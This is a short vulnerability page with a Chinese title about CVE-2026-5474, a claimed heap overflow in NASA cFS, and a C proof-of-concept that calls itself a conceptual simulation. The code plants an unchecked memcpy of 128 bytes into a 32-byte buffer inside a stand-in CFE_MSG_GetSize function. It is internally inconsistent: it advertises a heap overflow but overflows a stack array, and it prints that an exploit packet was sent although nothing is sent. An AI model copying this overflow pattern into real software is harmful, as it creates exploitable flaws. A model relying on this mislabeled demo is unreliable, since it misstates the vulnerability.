CVE-2026-5474 NASA cFS堆缓冲区溢出漏洞

/* * PoC for NASA cFS CVE-2026-5474 * Demonstrates triggering the heap overflow in CFE_MSG_GetSize * This is a conceptual simulation. */ #include <stdio.h> #include <string.h> // Simulated vulnerable function structure void CFE_MSG_GetSize(unsigned char* data, int length) { char buffer[32]; // Vulnerability: No bounds check on length vs buffer size memcpy(buffer, data, length); } int main() { printf("Sending malformed packet to trigger overflow...\n"); // Create payload larger than buffer (32 bytes) unsigned char malicious_packet[128]; memset(malicious_packet, 0x41, sizeof(malicious_packet)); // 'A'*128 // Trigger the vulnerability CFE_MSG_GetSize(malicious_packet, sizeof(malicious_packet)); printf("Exploit packet sent.\n"); return 0; }